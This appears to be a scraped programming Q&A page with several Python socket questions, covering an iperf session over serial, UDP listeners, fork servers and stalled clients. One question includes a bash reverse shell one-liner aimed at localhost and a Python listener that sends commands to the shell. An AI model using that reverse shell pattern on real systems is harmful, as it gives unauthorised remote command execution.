I am trying to kill an iperf server session that opens on a serial port.
The code below opens the port, starts the iperf server, and copies the output to a single file. At end of job, I tried to kill the server with ^C − as expected, this didn't work since the server is in listen mode, I send any key-press through the iperf interactive listen shell; this doesn't stop it.
Closing the server port didn't help, as the server stays in listen mode. How can I kill the iperf server session by sending a command?
I tried adding the iperf server option -t 20, but this didn't work.
Truly appreciated for any help.
import serial
import time
port = "COM10"
baud = 115200
ser = serial.Serial(port, baud, timeout=5)
if ser.isOpen():
print(ser.name + ' is open...')
print ('Iperf server session is running')
ser.write("\r\niperf -s -i 1 -w 1M")
log1 = ser.read(100000)
time.sleep(20)
print log1
with open('myoutput.txt') as f:
last = None
for line in (line for line in f if line.rstrip('\n')):
last = line
print last
result = last[-14:]
print result
output = result[:4]
print output
ser.write("\r\n ^c")
log2 = ser.read(1000)
print log2
ser.close()
Related
On Windows 10 I want to read data from UDP port 9001. I have created the following script which does not give any output (python 3.10.9):
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("", 9001))
while True:
data, addr = sock.recv(1024)
print(f"received message: {data.decode()} from {addr}")
I checked that a device is sending UDP data on port 9001 using wireshark. But the above code just "runs" on powershell without any output (and without any errors).
Any ideas how to fix this?
I found this page with a powershell script that is supposed to listen to a UDP port. So I tried this and created a file Start-UDPServer.ps1 with the content as described in that page as follows:
function Start-UDPServer {
[CmdletBinding()]
param (
# Parameter help description
[Parameter(Mandatory = $false)]
$Port = 10000
)
# Create a endpoint that represents the remote host from which the data was sent.
$RemoteComputer = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any, 0)
Write-Host "Server is waiting for connections - $($UdpObject.Client.LocalEndPoint)"
Write-Host "Stop with CRTL + C"
# Loop de Loop
do {
# Create a UDP listender on Port $Port
$UdpObject = New-Object System.Net.Sockets.UdpClient($Port)
# Return the UDP datagram that was sent by the remote host
$ReceiveBytes = $UdpObject.Receive([ref]$RemoteComputer)
# Close UDP connection
$UdpObject.Close()
# Convert received UDP datagram from Bytes to String
$ASCIIEncoding = New-Object System.Text.ASCIIEncoding
[string]$ReturnString = $ASCIIEncoding.GetString($ReceiveBytes)
# Output information
[PSCustomObject]#{
LocalDateTime = $(Get-Date -UFormat "%Y-%m-%d %T")
SourceIP = $RemoteComputer.address.ToString()
SourcePort = $RemoteComputer.Port.ToString()
Payload = $ReturnString
}
} while (1)
}
and started it in an Powershell terminal (as admin) as
.\Start-UDPServer.ps1 -Port 9001
and it returned to the Powershell immediately without ANY output (or error message). Maybe windows is broken?
If there is a solution to finally listen to UDP port 9001, I still strongly prefer a python solution!
As far as I can see, your posted Python code should have given you an error when run if it was receiving any data, so that suggests that the data was not getting to the process at all.
I'd recommend checking your Windows Firewall settings for that port, and any other host-based firewalls you might be running.
But also, the recv() method does not return a tuple. recvfrom() does, so the following code works:
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("", 9001))
while True:
data, addr = sock.recvfrom(1024)
print(f"received message: {data.decode()} from {addr}")
A tangential note: the Powershell script does not actually start a UDP server, it just creates a function to do so. So you need to add a line Start-UDPServer -Port 9001 at the end to call the function if you want it to actually listen for datagrams.
Im trying to play with python sockets trying to create a tcp listener server for incoming data from a reverse shell while launching some commands.
Tested with bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 as client while the server is running.
Here the code:
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1',4444))
s.listen(3)
while True:
clientsocket,addr = s.accept()
print(f'connection from {addr} stablished')
print('Everything ok, jump to next while loop')
while True:
response = clientsocket.recv(99999).strip()
print(response.decode('utf-8'))
userinput = input('$: ')
command = userinput + '\r'
print('Check stage 1')
clientsocket.sendall(bytes(command,'utf-8'))
print('Check stage 2')
The only thing here is that for some reason Check stage 1 and Check stage 2 are executed before of sending the command.
In other hand the command to send is saved with the variable value of their last, not the current.
That means that we need to send the same command two times to receive the correct input/output.
My question is, how to prevent the input from being typed two times and how should be the correct flow of the program?
An example from a video lecture. Background: the lecturer gave a simplest web server in python. He created a socket, binded it, made listening, accepted a connection, received data, and send it back to the client in uppercase. Then he said that there is a drawback: this web server is single-threaded. Then let's fork.
I can't understand the example well enough. But to start with, the program exits (sys.exit()). But I can't run it again:
socket.error: [Errno 98] Address already in use.
I try to find out which process is listening on port 8080: netstat --listen | grep 8080. Nothing.
Well, what is listening on 8080? And how to kill it?
Added later:
There is a feeling that if I wait for some time (say, 5-10 minutes), I can run the program again.
import os
import socket
import sys
server_socket = socket.socket()
server_socket.bind(('', 8080))
server_socket.listen(10)
print "Listening"
while True:
client_socket, remote_address = server_socket.accept()
print "PID: {}".format(os.getpid())
child_pid = os.fork()
print "child_pid {}".format(child_pid)
if child_pid == 0:
request = client_socket.recv(1024)
client_socket.send(request.upper())
print '(child {}): {}'.format(client_socket.getpeername(), request)
client_socket.close()
sys.exit()
else:
client_socket.close()
server_socket.close()
The correct netstat usage is:
netstat -tanp
because you need the -a option to display listening sockets. Add grep to locate your program quickly:
netstat -tanp| grep 8080
I am trying to make a socket client in python. I can send the first message, with no errors, but when I try to send the second one, it stalls.
import socket , time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def OpenConnection(IP,PORT):
global sock
sock.connect((IP, PORT))
def SendMessage(StringMessage):
global sock
print "Step 1"
sock.send(StringMessage)
print "Step 2"
reply = sock.recv(1024) # limit reply to 1024K
print StringMessage
return reply
def CloseConnection():
global sock
sock.close()
HOST, PORT = 'localhost', 34567
OpenConnection(HOST,PORT)
print SendMessage('test1')
print "Sleep for 3"
time.sleep(3)
print "Sendind Second Message.."
print SendMessage('test2')
CloseConnection()
Your code works for me - is the server you're connecting to sending anything back? I used netcat to listen on port 34567. Here is the server output after first running your program:
$ nc -l 34567
test1
And here is the client
$ python socktimeout.py
Step 1
Step 2
At this point the client is waiting in the sock.recv(1024) call for a response from the server. Typing a message ("TEST" say) and hitting enter in the server window allows the code to proceed. Now the server looks like this:
$ nc -l 34567
test1TEST
test2
And the client:
$ python socktimeout.py
Step 1
Step 2
test1
TEST
Sleep for 3
Sendind Second Message..
Step 1
Step 2
Again typing a message and pressing enter will allow your program to complete and close the connection.
Note that pressing enter is only required as netcat is line buffering the input, if your server was sending back data using some other process, it is not a requirement to append a line ending to the message (although it might be a good idea, depending on your protocol).
EDIT
Here is the final server state after sending back another message:
$ nc -l 34567
test1TEST
test2TEST
$
And here is the client:
$ python socktimeout.py
Step 1
Step 2
test1
TEST
Sleep for 3
Sendind Second Message..
Step 1
Step 2
test2
TEST
$
i got this code from http://www.evolt.org/node/60276 and modified it to listen for a single "1" coming from the other side
but whenever i run this program it stops and python IDLE goes to non-responding on "data1,addr = UDPSock.recvfrom(1024)"
def get1():
# Server program, receives 1 if ball found
# ff1 is file w/ received data
import socket
import time
# Set the socket parameters
host = "mysystem"
port = 21567
#buf = 1024
addr = (host,port)
# Create socket (UDP) and bind to address
UDPSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
UDPSock.bind(addr)
# Receive messages
while 1:
print "waiting..............."
data1,addr = UDPSock.recvfrom(1024)
print "got 1"
if not data1:
print "Client has exited!"
break
else:
print "\nReceived message '", data1,"'"
UDPSock.close() # Close socket
print "socket closed\n"
#call some other function that uses 1
and client side
def send1():
# Client program, sends 1 if ball found
# mf1 is file with data to be sent
import socket
# Set the socket parameters
host = "mysystem"
port = 21567
buf = 1024
addr = (host,port)
# Create socket (UDP)
UDPSock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
mf1=1
print mf1
# Send messages
if(UDPSock.sendto(str(mf1),addr)):
print "Sending message '",str(mf1),"'....."
# Close socket
UDPSock.close()
does anyone know what might be the cause of this? (sorry for long post)
As a second guess (I replaced my first guess with this) I suspect that you are running the receiver in IDLE and then IDLE is hanging so you can't run the client. I don't know exactly how IDLE works as I never use it, but the line containing recvfrom will stop the Python thread its running in until data is sent. So you need to start the client in a separate instance of IDLE or from the command line or something.
At any rate, I have tested the program in question on my Python with 127.0.0.1 as the host, and it worked fine, for some values of fine. The recvfrom does hang, but only until some data is sent, then it comes back with the data and prints it out and everything. You do have a bug that happens after that though. :-)